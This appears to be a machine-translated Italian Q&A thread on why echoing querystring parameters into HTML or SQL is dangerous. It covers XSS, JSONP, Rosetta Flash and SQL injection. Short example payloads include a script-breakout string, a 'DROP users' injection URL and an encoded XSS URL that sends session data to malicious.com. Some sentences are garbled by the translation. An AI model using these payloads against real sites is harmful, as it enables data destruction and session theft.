L'inserimento di valori di querystring direttamente in HTML comporta un rischio per la sicurezza?

L'iniezione di testo normale è un problema. Supponi di avere un modello di pagina simile a questo:

Hi <name>,

Blah blah blah.

E puoi inserire dall'URL.

Un utente malintenzionato può creare un'e-mail con un link a www.example.com/ajax/ads.asp?name=Foo%2C+you+have+the+wrong+version+Flash+plugin%2C+our+azienda + politica + richiede + che + tu + usi + versione + vul.ne.rabl.e.% 0D% 0A% 0D% 0AHi% 020Foo (che potrebbe anche essere minimizzato).

Questo renderà la tua pagina come:

Hi Foo, you have the wrong version Flash plugin, our company policy requires that you use version vul.ne.rabl.e.

Hi Foo,

Blah blah blah.

Il messaggio sembra provenire dal tuo sito e dal momento che i tuoi utenti hanno fiducia nel tuo sito, probabilmente crederanno alle istruzioni che "tu" hai dato.

Lo scripting cross-site non è una minaccia per l'integrità del tuo server web. Piuttosto, il problema è che un utente malintenzionato può creare un URL site.com che eseguirà JavaScript arbitrario. Se i tuoi utenti si fidano del tuo sito e gli permettono di fare ciò che vogliono, questo potrebbe essere un grosso problema di sicurezza.

Immagina se il testo inserito fosse:

"></script><script>alert("hi");"

che lo renderebbe simile a questo:

<script src="http://www.site.com/ajax/ads.asp?callback="></script><script>alert("hi");""></script>

Quindi, hai uno script personalizzato funzionante che può fare tutto ciò che vuole nella pagina.

His point of contention was that it can bypass crossdomain policies if someone visits page with this in it:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

Sì, ha ragione. Ma quello non sembra essere un buco di sicurezza, invece, sembra una caratteristica. Questa tecnica di aggiramento della stessa politica di origine è chiamata JSONP (ed è molto ben documentata).

Tuttavia, ci sono alcune catture:

• La percentuale corretta di% co_de per le risposte JSONP è content-type , poiché sono script eseguibili. Non è più semplice JSON.
• Se non conosci JSONP o il suo funzionamento, è sospetto che lo stia utilizzando. Se questo è un bug serio dipende da cosa lo stai usando per:
• JSONP può essere sfruttato , poiché questa è la sua natura. Assicurati di non inviare dati riservati, solo tali informazioni che vuoi essere accessibili pubblicamente.
  Assicurati di trattare eventuali richieste di risorse JSONP come se non avessero credenziali .

C'è un attacco che usa questo esatto vettore di attacco, chiamato Rosetta Flash ( CVE-2014-4671 ).

Come spiegato nella pagina di Rosetta Flash, la vulnerabilità è questa:

1. With Flash, a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it, with no crossdomain.xml check. This is why allowing users to upload a SWF file on a sensitive domain is dangerous: by uploading a carefully crafted SWF, an attacker can make the victim perform requests that have side effects and exfiltrate sensitive data to an external, attacker-controlled, domain.

2. JSONP, by design, allows an attacker to control the first bytes of the output of an endpoint by specifying the callback parameter in the request URL.

3. SWF files can be embedded on an attacker-controlled domain using a Content-Type forcing <object> tag, and will be executed as Flash as long as the content looks like a valid Flash file.

Questa specifica vulnerabilità è stata mitigata da un aggiornamento a Flash Player , ma le versioni precedenti sono ancora vulnerabili e questa stessa tecnica potrebbe essere utilizzata per attaccare altri sistemi.

Generalizzazione da questa vulnerabilità specifica: quando possibile, è meglio non consentire a un utente malintenzionato di controllare i primi byte di ogni risposta inviata, poiché questa è la parte "utile" utilizzata dai browser e da altri client per annusare il tipo di contenuto e i browser sono stati conosciuti per sovrascrivere Content-Type di intestazioni basate su contenuti sniffati in passato.

Penso che l'OP si concentri sul posto sbagliato guardando l'URL. Tutti i parametri GET e POST possono essere abusati, indipendentemente da come vengono chiamati. L'unico codice rilevante è quello che usa questo parametro.

Ad esempio, puoi avere una vulnerabilità di SQL injection se concateni questo parametro a una query SQL:

db_query("SELECT code FROM callbacks WHERE id = " + param("callback"))

Un utente può visitare:

www.site.com/ajax/ads.asp?callback=0;DROP+users

Hai una vulnerabilità XSS se stai facendo qualcosa del tipo:

return new Response("Hello " + param("callback"))

Un utente può visitare:

www.site.com/ajax/ads.asp?callback=%3Cscript%3EaddToDom(%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3Fdata%3D%27%2BharvestSessionData()%2B%27%22%2F%3E%27)%3C%2Fscript%3E

Queste sono tutte variazioni sullo stesso tema: trattando tutte le lingue come stringhe, che consente loro di essere mixate. Altri esempi sono l'iniezione di shell, l'iniezione di codice basata su eval, l'interruzione di "quotazioni", ecc.

Puoi anche rinviare queste stesse vulnerabilità se memorizzi il parametro da qualche parte:

// Escape the parameter when we use it in our SQL
db_query('INSERT INTO callbacks (:cb)', {'cb': param('callback')})

// But suffer the same problems in a later request
return new Response("Our callbacks include " + db_query("SELECT * FROM callbacks").join(", "))